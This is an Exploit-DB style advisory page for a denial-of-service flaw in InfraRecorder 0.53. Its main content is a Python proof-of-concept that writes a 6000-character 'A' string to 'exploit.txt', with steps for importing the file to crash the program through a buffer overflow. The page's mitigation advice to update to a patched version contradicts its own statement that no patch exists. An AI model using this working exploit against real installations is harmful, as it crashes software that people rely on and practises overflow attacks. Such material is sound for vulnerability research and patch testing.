InfraRecorder 0.53 - '.txt' Denial of Service (PoC)

vendor:

InfraRecorder

by:

Gionathan "John" Reale

5.5

CVSS

MEDIUM

Denial of Service

119

CWE

Product Name: InfraRecorder

Affected Version From: 0.53

Affected Version To: 0.53

Patch Exists: NO

Related CWE:

CPE: a:infrarecorder_project:infrarecorder:0.53

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 32bit

2018

InfraRecorder 0.53 – ‘.txt’ Denial of Service (PoC)

This exploit creates a malicious file named 'exploit.txt' that, when opened with InfraRecorder version 0.53, causes the program to crash. The exploit script uses a buffer overflow to create a payload of 6000 characters.

Mitigation:

Update to a patched version of InfraRecorder or use an alternative software.

Source

Exploit-DB raw data:

# Exploit Title: InfraRecorder 0.53 - '.txt' Denial of Service (PoC)
# Date: 2018-09-14
# Exploit Author: Gionathan "John" Reale 
# Version: version 0.53
# Download: http://sourceforge.net/projects/infrarecorder/files/InfraRecorder/0.53/ir053.exe/download
# Tested on: Windows 7 32bit

# Steps to Reproduce: 
# Run the python exploit script, it will create a new file with the name "exploit.txt". 
# Start the program and click "Edit" > "Import... "
# Find the file "exploit.txt" and click "Open" 
# You will see a crash!

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"